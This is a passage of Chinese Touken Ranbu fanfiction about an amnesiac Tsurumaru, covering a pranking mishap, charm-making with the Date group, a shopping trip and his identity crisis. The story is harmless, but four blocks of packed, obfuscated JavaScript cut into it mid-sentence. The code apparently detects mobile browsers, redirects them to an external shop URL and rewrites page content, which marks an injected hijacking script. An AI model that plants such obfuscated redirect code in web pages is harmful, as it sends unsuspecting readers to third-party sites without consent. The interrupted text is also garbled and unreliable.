毕竟当这么一遭鹤丸国永,要是连恶作剧也没做过的话,也太遗憾了吧! “我们什么时候出发?” “现在!” …… 太鼓钟贞宗在廊下默默看着几刃。 他本来只是路过回房间取个配件,因为他身上的挂饰有一个松动了,没想到能撞见这个场景。介于现场作案人员中有他们现在非常担心的鹤先生,太鼓钟贞宗还是决定先留下来看看现场。 然后就看到他们从挖好坑到太阳都快落下,依旧没有任何一刃路过。 ……还要等吗?他们就这么闲吗?难道没有事要做吗? 如果加州清光知道太鼓钟贞宗就这样在这边一直看着,一定会吐槽他才是更闲的那个吧。 …… “一直没有人呢。”堀川国广突然在不远处的树后发出了声音。 “没有人呢。”大和守安定从另一棵树后探出脑袋。 太鼓钟贞宗彻底按捺不住自己的吐槽之心了。这里的偏僻程度都快接上后山了,要是有刃路过才有鬼了啊?! 啊,不对,他好像就是路过的刃。 太鼓钟贞宗闭嘴了,虽然他本来就没有张嘴。 那边还在等待的鹤丸已经有些犯困了。 ……怪不得每次鹤丸国永都会忘记自己在哪埋了坑,原来这么难等啊,换成他估计也早就忘记这码事了。 “要不要去看看?”加州清光提议。“说不定是有哪里暴露了?” 鹤丸立刻举手自荐。 要是再不做点什么的话他就真的要睡着了,虽然在本丸这么安全的地方睡着也没什么关系,更何况身旁还有几刃善后。但在外面睡觉还是有点过于野性了,所以这种事现在交给他刚好合适。 鹤丸从树后走出,蹲在做好伪装的大坑前,仔细检查起可能有纰漏的地方。 好像都没什么问题,难道是草没有盖住吗?……好像也不是,算了,不管了,无论有没有都再盖上一点好了。 他伸手抓了一把剩下的草料,探出身子想洒在陷阱的边缘。 “鹤先生?我找了你……” 咚。 伴随着陷阱塌陷和草料散落的声音。 糟了! 藏在树后的四刃和隐藏在暗处的太鼓钟贞宗一同冲出来。 …… “……所以说别笑了啊!”鹤丸一副马上就要羞耻到晕过去的架势,大有烛台切光忠再敢笑一声,他就要冲上去捂嘴的气势。 “贞坊!”鹤丸猛地转头看向太鼓钟贞宗。 “你也别笑了!”太鼓钟贞宗立刻做出一个缝住嘴的动作,示意他没再笑了,但还是有几声按捺不住的笑声传出来。 鹤丸又看向太鼓钟贞宗身后。“还有你们几个……”他突然泄气。 “算了,你们笑吧。”没办法,越是阻止,这几个家伙就笑的越欢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685788|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反而显得有种欲盖弥彰的感觉,更尴尬了。 鹤丸捂住发烫的脸缓缓蹲下,依稀能看见露在外面的耳朵已经完全变成了红色,连头顶都冒出了白烟。 “好了,鹤先生,不如先回部屋换身衣服吧?”烛台切光忠艰难地控制住笑意,手中暗暗使力,试图把这颗通红的鹤球从地上拔起来,但显然鹤球并不配合,甚至还把重心往后又倒了倒,险些摔在地上,烛台切光忠慌忙伸手去捞。 “对啊对啊,可不能一直沾着一身土,走吧鹤先生?”太鼓钟贞宗一边附和一边给另外几刃使眼色。 加州清光心领神会。“我们就先走了哦?主人应该会有点想我了。” “说什么呢,今天的近侍是长谷部可不是你,别自恋了。”大和守安定毫不犹豫地无情拆台。 “……找打吗,安定。”加州清光脑袋上冒出了一个硕大的愤怒符号。 “随时奉陪啊。”现在大和守安定也有了。 “别生气啊……”小天使堀川国广发动了老好人技能。 “要打一架吗?可不能落下本大爷啊!” 鹤丸就这样听着这几刃吵吵闹闹地离开了现场,终于缓缓抬头把脸从怀中挪出来,然后就迎面和蹲在他面前的烛台切光忠,来了一个精准对视上。 鹤丸撇开目光,伸出手搓了搓还有些发烫的脸颊。 “好点了吗?” “嗯。” “没有嘲笑你的意思哦,鹤先生很可爱。”这个当然看得出来啊。“以前从来没见过这样的鹤先生呢,有种……新奇感。” “我让你感到陌生了吗?”鹤丸听到这里终于忍不住开口。 “我不像……” “不,不是这个意思。”烛台切光忠强势地打断了鹤丸的话。“我只是在想,还能以这种样子,在本丸里见到鹤先生真是太好了,能见到鹤先生不同的另一面也太好了。我不讨厌这种感觉,甚至为此感到……无比的幸运哦。” “其他的烛台切光忠可见不到这样的鹤先生啊。” 烛台切光忠伸出手。 鹤丸沉默地看着被递到眼前的手,伸手搭了上去,顺着烛台切光忠的力站起身。 “那,鹤先生,我们回去吧?” “嗯……我的甜点呢?” 烛台切光忠一顿,似乎不知道该说什么,皱着眉有些头疼地看向鹤丸。 “……但鹤先生根本没有完成训练吧?” “哦。”鹤丸不甚在意地回了一句,毕竟他本来就没多想吃甜品,只是突然想到了才顺口问了一句。 太鼓钟贞宗:……在搞什么啊? 他终于听不下去了,无奈地叉腰看向两刃,一口恨铁不成钢的语气对着两刃。 “在部屋里呢,小光早就放好了,就等鹤先生了!快走啦,你们两个!” 鹤丸看向烛台切光忠。 耳朵红了诶。 …… “太慢了。” “是是,小伽罗这是在撒娇吗?” “……” “鹤先生,训练之后要补上哦。” “恶魔吗?” “是刀剑男士哦。” 9. 被禁锢自由的鹤丸国永 太鼓钟贞宗搬来了两个巨大的箱子,咚地一声落地把鹤丸都吓了一跳,鹤丸不确定地向周围瞧了一圈,发现烛台切光忠和大俱利伽罗一副见怪不怪的样子。 哦,那看来是没什么好意外的事了,鹤丸放心地坐回垫子上。 “鹤先生,别看了——快来!”原来这东西还有他的事吗? 鹤丸上前打开被放在桌子上的箱子,多少有点目瞪口呆了。 “……这是?”其实也不用问出来,很显然,这是满满的布料和各式金属配件,虽然风格上和太鼓钟贞宗是挺搭的,但太鼓钟贞宗是会做手工的刃吗? 好问题。 原本会不会不知道,反正现在会了。 太鼓钟贞宗挑出一块带着鹤纹的白色布料,又翻箱倒柜地找出了适配的金色底料和链子,一股脑地塞进了鹤丸手里。 鹤丸看着太鼓钟贞宗翻箱倒柜的架势多少有点被惊到了,这是要做点什么啊? 烛台切光忠不知道什么时候也好奇地凑过来,看着鹤丸手里的材料感叹。 “很适合鹤先生呢,小贞的眼光还是这么好啊。”鹤丸疑惑地抬头看向烛台切光忠,却看到烛台切光忠后面的大俱利伽罗有了动作,他像是早有准备地一把拉开了衣柜门,取出了一个巨大的盒子。 大俱利伽罗抱着盒子小心翼翼地越过了满地的布料,把盒子放在鹤丸面前,转头就离开了部屋。 鹤丸:? 鹤丸托着腮看着大俱利伽罗离开的背影。 “小伽罗是有什么刃群过敏症吗?” “可能是因为,这些东西会让他有点不好意思吧。”烛台切光忠无奈地笑着打开了盒子。 噢……好多的挂件,都金闪闪的呢,一看就出自太鼓钟贞宗的手笔。 “这些都是小贞做的,不过这里面只有我和伽罗的在,因为平时实在不那么方便佩戴,所以都被好好地珍藏起来了。”太鼓钟贞宗在一旁叉着腰点头。“没错!” “我自己的也有不少哦,不过可惜出阵的时候基本都受损了,现在没办法拿给鹤先生看。”鹤丸闻言,捧起了自己手中的材料。“那这个是?” “这个是……我想教鹤先生做的。”太鼓钟贞宗的声音越来越小。 “教我?” “嗯!”很有力的回复呢。 “我明白了,贞坊想要我送的礼物啊。”鹤丸了然地点点头。“那完全不用不好意思吧?我很乐意给贞坊做礼物哦。” 鹤丸站起身捋了捋袖子,看向太鼓钟贞宗笑得灿烂。“那来教我吧,我自己的话可不知道要怎么做啊。” …… 鹤丸看向手里的挂件。 不得不说,太鼓钟贞宗的审美非常优秀,这个挂件可以说能一眼就看出来和鹤丸国永有关,连他做出来时都有点惊讶到了。 真是被吓了一跳啊,明明是自己做出来的,但完全没料到是这个效果。 “完成了哦,贞坊。”鹤丸带着些隐秘的小骄傲,将手里的挂件递给太鼓钟贞宗。“没失望吧?” 不过说实话,他清楚自己的手艺还是很粗糙的,毕竟是第一次做这种东西,虽然一旁有来自太鼓钟贞宗的指导,成品绝对算不上糟糕,但也好不到哪里去,至少和太鼓钟贞宗的作品放在一起时,绝对没有任何可比性。 能在这种情况下这么自信地说出这种话,他果然还是被伊达组惯的有点飘飘然了吧? 太鼓钟贞宗看着就差把“求夸”两个字写在脸上的鹤丸,多多少少有点想笑了,这样特殊的鹤先生跟以前的感觉不太一样呢,不过这样也很好。 “很漂亮哦!不愧是鹤先生!”呜哇,情绪价值拉满了啊。 太鼓钟贞宗接过挂件,随即立刻就挂在了腰上,白色的、代表鹤的花纹在他身上显得极其突兀,显然并不像是太鼓钟贞宗应该佩戴的东西。 鹤丸有些欲言又止,不知道该不该提出自己的看法,但太鼓钟贞宗似乎在他之前已经猜到了鹤丸想说什么。 “这样才能看出来是鹤先生送给我的嘛!”鹤丸一愣。 “就是为了这个效果,我才会特意挑那些布料的,这样我只要一看到这个挂件,就会想起来这是鹤先生的心意了!”太鼓钟贞宗骄傲地宣讲了他的目的,对此,鹤丸的回应是——又一次变成了一颗煮熟的鹤球。 这也太……伊达组是这么直球的类型吗?虽然这几刃都不是什么别扭的性格,但也不至于这么夸张吧? 总觉得这两天听到的“告白”含量已经有点超标了,虽然很令人高兴,但是……好吧,没有但是,他就是很高兴。 鹤丸自己搓了搓发烫的脸,努力控制住了即将离他脑袋而去的白烟,转眼看向烛台切光忠。“那你呢?”烛台切光忠一时有些没反应过来。 “你不想要吗?” “诶?”烛台切光忠有些意外。 “就是,这个……你不想要吗?”鹤丸支支吾吾地回复。 太鼓钟贞宗疯狂地像烛台切光忠比划着。 烛台切光忠终于反应过来了。 啊,像这样主动问别人想不想要自己送的礼物,这种行为果然还是太超纲了吧,怎么说呢,听起来有种无处安放的自恋感。 鹤丸越想越羞耻,甚至已经到有些恼羞成怒的程度了。果然还是把这句话收回好了吧? 烛台切光忠一看鹤丸的神情就知道大事不妙,要是再不抓紧时间回复,恐怕到手的礼物就要跟着鹤丸的小脾气一起飞了。 那样可绝对不行啊,好不容易才把鹤先生养的外向了一点,要是再缩回去可就不好揪出来了,而且他也是真的很想要这份礼物。 “原来我也有份啊,谢谢,鹤先生。”烛台切光忠眼睛弯弯地对着鹤丸打出了暴击。“说起来,伽罗应该也会很喜欢这份礼物呢,鹤先生可不要忘了他啊。” ……说什么呢,才不会忘记。 鹤丸埋着头,照着自己印象中的步骤又如法炮制了两个“鹤的标记”,也不管做成什么样,一做出来就全都一股脑塞给了烛台切光忠。 于是这一天,全本丸的刃今天都看见了,伊达组的几刃戴着与自身格格不入,极具鹤风格的挂件四处招摇。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685789|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么出名的事当然也传到了鹤丸的耳朵里。 彼时的鹤丸正和小短刀们混在一起。 事情起因是这样的,地葵今天在早饭的时候宣布了一个重大消息——明天会给众刃发放本月的零花钱,鹤丸也有份的那种。 可毕竟鹤丸没去过万屋,即使有想法也不知道万屋有什么东西出售,而众所周知,小短刀们可以说是最本丸里最热心的刀剑男士刃群了,他们怎么能允许这种情况出现呢? 所以现在,鹤丸就一头扎在了小短刀的包围圈里,彻彻底底地被团团包围了。 对这个话题,小短刀们发表了如下见解。 “酒。”即使现在还脸红着醉醺醺的不动行光第一个发言。 “鹤丸先生对酒应该不感兴趣吧?下一个啦。”乱藤四郎无情地pass掉了不动行光的提议。 “小判!”鹤丸不用猜都知道这是谁。 “万屋才不会卖小判啊!”很好,这位也被乱藤四郎老师无情pass掉了。 “人|妻……”喂,这个是我们频道能播的东西吗?会被审核屏蔽的啊。 “快闭嘴啦!!”这位选手被乱藤四郎捂着嘴脱离了座席。 “马○!”这位胁差同学,你是怎么混进小短刀的队伍里的? “鲶尾哥。”乱藤四郎同学不再多说,选择了简单直接的重拳出击。 鹤丸看得实在有点憋不住笑了,这是何等的世界名画。 一期一振,你弟弟乱藤四郎杀疯了。 “那个……”五虎退欲言又止。“万屋,应该有开给鹤丸先生的店铺吧?” 一众短刀看向五虎退。 “恶作剧道具什么的……” “我记错了……吗?”五虎退的声音越来越小。 乱藤四郎从鲶尾藤四郎肩上跳下来,颇为激动地一把握住了五虎退的手。“怎么可能!我都忘了这回事了,小退你简直太棒了!” 乱藤四郎自信十足地回头看向鹤丸,拍了拍胸脯,做出一副……不良的表情? ……为什么是不良的表情啊? “交给我吧,鹤丸先生,我一定会带你买到想要的东西的!”鹤丸不置可否,其实他也不知道自己想要什么,但还是不要打击小短刀们的信心了。 就在这个时候,萤丸强势地闯进了小短刀们的包围圈,目标明确地找向鹤丸,一副有急事的样子,鹤丸被吓了一跳,赶忙在脑子里检索了一圈自己有没有惹祸。 “鹤丸先生!”萤丸虽然身高和其他大太刀有所不同,但除了这一点,气势却是一样都很强的,这么一声把鹤丸都喊得有点迟疑。 “是……?”死脑子,快想啊,我到底偷偷背着自己干了什么坏事。 “那个,请教我那个挂件的做法!” 鹤丸:? “就是烛台切殿和大俱利殿身上的那个……” 等等,这个东西到底被多少人看到了啊? “什么挂件?”乱藤四郎探头。“我也要学!” ……这种事还请务必饶了他吧。 10. 被禁锢自由的鹤丸国永 万屋的商品真的挺杂的。 鹤丸看着一块印着“情比砖坚”的砖头,发出了如上感慨。 应他要求下,其他人在刚降落到万屋的时候就跟他分开了,虽然烛台切光忠对此明显并不支持,但还是在他坚持下妥协了。 否则他会担心自己露出“没见过世面”的表情,虽然知道刀剑男士们不会因为这种事笑话他,但鹤丸还是决定维护一下自己可怜的面子,逛街这种事果然还是自己比较好啊。 不过他现在突然有点后悔了,他实在想找人问问,这块砖的目标用户是哪位刀剑男士,原谅他在脑中极速搜索了一圈后,还是没找到能对得上号的刀剑男士。 “这样看来应该是卖给审神者大人们的吧?”从身侧突然传来的声音吓了鹤丸一跳。 鹤丸听着这道声音转过头,看到了熟悉的蓝色头发,果然是太鼓钟贞宗。 只不过这大概不是他们本丸的那个,他记得贞坊今天的安排是出阵。 鹤丸看着太鼓钟贞宗对着这块砖跃跃欲试,似乎想把这块砖买下来的样子,觉得自己的脑子多少有点不够用了。 ……贞坊原来是会喜欢这种东西的类型吗?可这块砖怎么看也跟华丽沾不上边吧。 不行,不能刻板印象,万一贞坊就是跟这块砖比较投缘呢?那他是不是也应该买一块送给贞坊试试? 鹤丸努力理解。 鹤丸若有所思。 可这个东西买回去有什么用,可以放在哪?鹤丸有些费解,也就顺口这么问出来了。 “桌子上?柜子里?或者拿去垫桌脚……总之放着总有一天会用到吧。”好专业,好熟练啊。 一旁的太鼓钟贞宗似乎终于反应过来了什么,移开了直勾勾盯着那块砖的视线,面对鹤丸的目光有些不好意思地挠了挠头。 “不是我喜欢的啦,是我的审神者很喜欢这种类型的东西……”如果不是鹤丸确实还算了解太鼓钟贞宗,这句解释大概会被当成无力的狡辩。 就在这时太鼓钟贞宗注意到了鹤丸显眼的红色眼睛。 白色的鹤实在是太有迷惑性,因此哪怕是性格略有所不同,也让太鼓钟贞宗没能第一时间察觉到异常,只当做是不同本丸之间的差异,直到方才对视时他才明白了问题所在。 太鼓钟贞宗对着鹤丸欲言又止,不知道该不该当面问出他的疑惑。 且不说那些人渣的手段层出不穷,谁知道会不会有不让鹤先生说出实话的办法。可如果他直接去偷偷举报,另一层顾虑是……如果鹤先生现在已经被分配了新的本丸,这样会不会给鹤先生带来麻烦? 鹤丸一看太鼓钟贞宗猛然变化的表情,就大概猜到了这振小短刀想到了什么东西,他有些无奈的想。 下次出来是不是最好应该带个面具?虽说他对被误会这件事没什么想法,左右不过是解释一下而已,但要是因此给地葵带来麻烦了,可就真有点过意不去了。 “停。”鹤丸伸出一根手指,竖在太鼓钟贞宗面前。“别担心,这都是过去的事了,我现在在新本丸里过得很好。” 太鼓钟贞宗有些勉强地点点头,但似乎还是不那么放心。 鹤丸忍不住叹了口气。 如果他是真的鹤丸,应该会对这个场景有更多的感动吧,只是可惜现在站在这里的是他这个冒牌货了。 过去他还感叹过,刀剑男士之间的感情还真是深厚,如果他也能有这样的感情就好了,可现在落到他身上了,他却反而有点吃不消了。 就先不管这些,想想办法安抚一下面前的短刀吧。 “我还是第一次来逛万屋,到现在都没找到什么感兴趣的。”鹤丸觉得自己明示地够明显了。 果然,太鼓钟贞宗眼前一亮,可以说是迫不及待地进行了自荐。 当时还是不应该提出来要自己逛的吧,现在这不是什么区别都没有吗……也不对,还是有点区别的,至少现在丢人是在别人家的刃面前丢了。 …… 鹤丸新奇地看向两侧的店铺。 先前他都只是在比较边缘的街区闲逛,大多数都是些杂货店和实用主义的东西,直到现在才真正窥见了万屋的繁荣一角。 “白天竟然也有捞金鱼吗?”鹤丸停下脚步,颇感新奇地问。 “因为前段时间万屋举办了庆典,这应该是当时剩下的吧?”太鼓钟贞宗似乎也不太搞得懂,带着些迟疑回答。 店内的店员似乎听到了两刃交谈的声音,一路小跑地拉开了门,站定在鱼池前。 “这是庆典的时候弟弟们捞的金鱼,一不小心就捞得太多了。”鲶尾藤四郎笑得灿烂。“本丸里的池塘已经完全放不下了,就只能摆在这里了。” 鲶尾摸着脑袋笑嘻嘻地为鹤丸和太鼓钟贞宗解释着,但鹤丸不知道为什么总能看出些心虚的意味。 果然,一阵调侃的声音从鲶尾藤四郎身后窜出来。 “明明有一半都是鲶尾哥捞上来的吧?”药研藤四郎推了推眼镜。 “哈哈哈哈……”鲶尾藤四郎挠头的手速越来越快了。 鹤丸实在是快要控制不住自己的吐槽之心了,以鲶尾藤四郎的挠头速度,恐怕一会就要燃起来了吧?不要仗着自己是付丧神就做出这么离谱的举动啊? “二位如果感兴趣的话就请带走吧,本来也只是没办法才暂时放在这里的。”药研藤四郎瞥了一眼鲶尾藤四郎。 “是鲶尾哥实在不忍心放生掉而已。” 于是鹤丸就得到了一袋金鱼。 鹤丸和太鼓钟贞宗面面相觑,两刃都不知道要怎么处理这袋金鱼。 本来只是想拿一两条看看能不能养在鱼缸里的,但鲶尾藤四郎非常热心地一下子倒进来了二十多条,然后就头也不回地冲进了店里。 “虽然我也很想养啦,但是我们本丸的池塘被主人……”太鼓钟贞宗语塞了一下。 “嗯……用来养草鱼了。” 鹤丸:? 这个本丸是打算开农家乐吗?田地也就算了,连水产品也必须要自产自销吗?不过说起来哪个刀剑男士会养鱼啊,他还挺好奇是谁负责这个的。 不过鹤丸最后没问出来,不是因为鹤丸有礼貌,是因为他被太鼓钟贞宗拉他离开现场的速度,比他开口的速度更快。 “等等、贞坊?我们要去哪啊?” “去鹤先生会喜欢的地方!”太鼓钟贞宗就好像担心又出现像刚刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685790|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那样的情况一样,一路火花带闪电地拉着鹤丸走到了一栋偏僻的小楼下面。 鹤丸刚刚停下,还没来得及好好歇一下,又被身后的喊声叫住。 鹤丸国永,你的刃脉可不可以不要再这么广了。 他麻木地想着,认命地转过身。 “我和小退刚刚还想着要去哪里找你呢,没想到鹤丸先生已经找过来了啊!”乱藤四郎有些惊讶。 “诶?这是鹤丸先生刚刚在万屋交的朋友吗?”乱藤四郎看向一旁的太鼓钟贞宗。“太鼓钟知道了可能会吃醋的哦!” 请务必不要发生这种事。 “鹤先生的本丸里也有我吗?”太鼓钟贞宗探出头,耐不住好奇地问出口。 鹤丸一看就知道他打的是什么心思,伸出手摁住太鼓钟贞宗的脑袋。 “我说你啊……我看起来有那么不会保护自己吗?别担心这些了,好歹要给大人一点信心啊。”鹤丸手上暗暗使力,坏心眼地把太鼓钟贞宗的发型揉成了一团,然后转身直接进了小楼。 “发型!发型全都乱了啊鹤先生!”太鼓钟贞宗一边整理发型一边追着鹤丸跑了进去。“可我也不是小孩子啊!” 乱藤四郎看着这一幕若有所思。“太鼓钟真的不会吃醋吗?” 五虎退看着乱藤四郎手里的同人杂志欲言又止。 “我开玩笑的啦!” …… 鹤丸刚一踏入店门就被好几个鹤丸国永包围起来。 “哦!好大一袋金鱼,好险好险,差点就碰撒了。” “一看你就是第一次来吧?很少有鹤从正门进来的。” “从正门走的话有概率被光坊抓到哦。” 听起来挺可怕的,不过以鹤丸对本丸里那个烛台切光忠的了解,说不定他还挺希望鹤丸能做做恶作剧的。 几个鹤丸国永趁着鹤丸发散思维时对了一下眼神。 虽然知道对方同为鹤丸国永,即使遇到不公大概也能自己调整好心态,但果然看到这种事情还是做不到完全不管啊,更何况这振鹤丸的状态已经完全出乎他们的意料了。 让鹤丸国永这振千年老刀连性格都改变的经历,光是想想都有点不可置信啊。 太鼓钟贞宗追进来时看到的就是这幅场景,他看着在场一众鹤丸一时有些犯了难。 他倒不是对鹤丸国永不放心,无论是被包围的鹤丸还是几刃正常的鹤丸国永,毕竟即使鹤丸国永总是喜欢尝试惊吓,可在靠谱的时候也从没掉过链子。 鹤丸国永调皮的外表下无疑是个成熟可靠的刃,这一点他再清楚不过。 ……可问题是,他觉得这振鹤先生似乎不太一样。 如太鼓钟贞宗所料,其实现在的鹤丸不是很好。 如果是鹤丸国永本刃,一定不会在意自己的不同,但问题就在于——鹤丸并不是真正的鹤丸国永。 直到真正直面了鹤丸国永这振刀,鹤丸才直观地意识到了自己和鹤丸国永的差别,无论是从容的,成熟的……甚至是每一举一动,每一个表情。 ……他就是顶着这副,一点也不像鹤丸国永的样子,待在大家身边的吗? 他可以说是落荒而逃地离开了现场。 11. 被禁锢自由的鹤丸国永 鹤丸已经完全不记得自己那天是怎么回到本丸的了。 那种不可置信的感觉实在太过深刻,他完全不知道要怎么去消化这种情绪。 如果连他自己都能看出来这么明显的差别,那烛台切光忠呢?太鼓钟贞宗呢?甚至是……大俱利伽罗呢? 大俱利伽罗总是与他回避接触,会不会不是因为自身的不善言辞,而是因为对他的不认可? 鹤丸清楚地意识到自己已经因为过度的恐慌,对身边的所有人产生了无可救药的,恶劣的猜测,可他完全无法控制住这种崩溃的蔓延。 他就像是一颗在阴暗角落里蹲守的白蘑菇,任由发霉的菌丝和潮湿的空气包围他、渗透他、缠绕着他。 如果烛台切光忠不认为他是鹤丸国永,为什么要在那天认可他的存在,说出那些接纳了他的话? 如果太鼓钟贞宗不认为他是鹤丸国永,为什么要手把手地教他做那个挂件,还一直戴在身上? 如果大俱利伽罗不认为他是鹤丸国永,为什么要在每一个他需要被认可的时候,悄悄地站在他身边? 鹤丸有些不明白了。 不是因为他对几刃的动机产生质疑,他非常清楚几刃毫无疑问都是把他当成鹤丸国永去对待的,否则他没理由受到那些温柔的对待,那无疑就是他在这个本丸作为鹤丸国永的铁证。 可现在他无法控制地产生了疑问。 他究竟是被当成鹤丸看待,还是被“当成”鹤丸对待? 也许根本就没有人真正地把他当成鹤丸国永,只是在说服自己像对待鹤丸国永那样对待他呢。 鹤丸的情绪彻底像是雪崩一样无法控制,他无比清醒地看着自己的心情无法控制,思绪滑坡地冲向了探不见底的深渊。 …… “怎么办啊,小光。”太鼓钟贞宗看着屋内消沉的鹤丸,担忧地开口。“鹤先生看起来真的好糟糕。” “完全不知道鹤先生是因为什么变成这样的,根本没办法下手。”不难看出烛台切光忠同样的担忧。 “鹤先生已经一天没吃饭了……”虽说刀剑男士作为付丧神,即使不吃饭也不会真正给身体带来什么负担,但…… “一直饿着会心情越来越糟糕的吧?” 烛台切光忠猛地回头,对上了一双熟悉的金色眼睛。 “哟!光坊,被吓了一跳吗?”是一振正常的鹤丸国永。 烛台切光忠看向鹤丸国永身后的大俱利伽罗。大俱利伽罗点了点头。 “鹤先生……”烛台切光忠无奈地笑了笑。“还真是一点也没变啊。” “虽然知道光坊和贞坊现在肯定有很多疑惑,但里面的那个小家伙看起来快要发霉了哦,还是先讨论一下这个吧。”鹤丸国永手握成拳,伸出大拇指指向部屋。 鹤丸国永正是那天在万屋围在鹤丸身边的众刃之一,他虽然在看到鹤丸的那一刻就想到了情况不会太乐观,但也没想到鹤丸会直接转身就逃,甚至还……爆发了惊人的机动,连太鼓钟贞宗都没成功追上他。 如果鹤丸国永判断的没错,那振太鼓钟贞宗可是已经极化修行过的刀剑。 还好鹤丸在逃跑的过程中把这袋金鱼落下了,好让他有借口向万屋的工作人员申请查询监控,这才顺着调查结果摸到了这个本丸,否则这振可怜的小鹤恐怕就真的要变成蘑菇了。 不过说起来,那种程度的机动值,果然不能用只是“情绪激动”“爆发潜力”来说服自己啊,是改造吧? 鹤丸国永忍不住叹了口气,想到了调查得到的资料表。 人类的脑回路还真是惊人的相似,总是执着于夺走他人在意的东西,虽然在时间长久积累的阅历经验中,他也多少能清楚这些人类所求究竟是什么,但果然无论如何也还是无法理解啊。 鹤丸国永所在的本丸有些特殊,经常会跟着隶属于搜查部的审神者一起清扫失格本丸,几乎是每一个出自失格本丸的鹤丸国永,都遭到过类似这样的对待。 手段无外乎就是拘禁,锁链,切断交流。 可这些又能给鹤丸国永带来什么天大的影响? 曾经的鹤丸国永孤独一刃度过了数个百年,难道还会因为显形就无法承受这份孤独了吗?对鹤丸国永这振刀来说,这只不过是无数时间长河中,被再次复现的某一段过去罢了。 唯一的区别就是,这比记忆中的过去要难熬些许。 他所接触过,包括他在内的每一个鹤丸国永几乎都是这么想的,无论是失格本丸中被解救出来的,还是在无力回天时自愿跳入刀解池的,甚至是只差一步就要变成时间溯行军的,每一个鹤丸国永,都从未仅仅因为失去自由而失去自我。 想到这里,鹤丸国永有些头痛。 如果按照正常情况来说的确是这样的,但现在他要面临的,是一只完全失去了记忆的小鹤呢,完全不能用过去的经验。 这小家伙可比自己难搞多了。 虽然就把这振鹤丸当成一振新刀也不是不行,毕竟失去记忆后他与鹤丸这振刀的过去也就没了联系,以人类的概念而言,这可是个完完全全的“新生儿”。 但鹤丸国永不是很想这样做。 原因无他,鹤丸国永就是鹤丸国永,如果因为鹤丸的现状,就否认他作为鹤丸国永的身份,且不说鹤丸一定无法接受这件事,毕竟无论是谁都无法接受,就这样失去自己行走于世间的身份吧? 另一方面……他,和每一振鹤丸国永,也都不会同意的。 不过是失去记忆导致的偏差罢了,怎么可能因为这个就否认他作为“鹤丸国永”的身份? 因此,在他来到这个本丸前与时政员工的对话中,那位时政员工提出这个处理方式时,一向待人温和的鹤丸国永难得冷下了脸。 可不要因为他们平时的表现,就忽视了他们作为刀剑付丧神的骄傲啊。 “那么,谁能给鹤讲解一下现在的情况呢?”鹤丸国永的思绪整理完毕。 烛台切光忠和太鼓钟贞宗对视了一眼,都不知道从哪里说起比较好。 说实话,他们两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685791|188817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也完全是一头雾水,那天鹤丸去过万屋回来之后就是这幅样子了。据乱藤四郎说,最后一次见鹤丸就是在那家恶作剧卖店了,但他们实在是想不到那家店有什么能刺激到鹤丸的。 烛台切光忠最是一个头两个大,这段时间好不容易才把鹤丸养得开朗了点,不过是去了趟万屋,一夜之间又变回刚到本丸的样子了,甚至比那时候还要糟糕。 鹤丸国永一看这个气氛,就知道面前两刃估计也没什么头绪,不仅如此,还因为这件事发愁得很,赶忙打起圆场。 “哈哈哈……别担心啊,这件事就交给我吧!”这还真是…… 看来他给自己找了个大活啊。 …… 轻轻的脚步声传来,鹤丸推测那应该是太鼓钟贞宗。 毕竟烛台切光忠和大俱利伽罗可没有这么轻的脚步,就算他们想也不可能做到吧。 ……是贞坊的话,得打起精神来啊,不能让他担心。 鹤丸试图努力控制住自己脑中翻涌的思绪,扯起一个不知道算不算合格的笑,抬头看向来访者。 “哟!我把你的金鱼带来了!”鹤丸国永叉起腰,笑着提起手里的一袋金鱼晃了晃。 是只鹤啊……怎么是只鹤?! 鹤丸反应了一会,终于意识到了一个重大问题。 等一下,这是哪里来的鹤啊? 金鱼又是哪来的啊???? 鹤丸国永看着陷入震惊的鹤丸,虽然知道现在这位迷茫的小鹤更需要一些开解,但还是忍不住大笑起来。 “哈哈哈哈……你这个反应还真是有意思啊!” 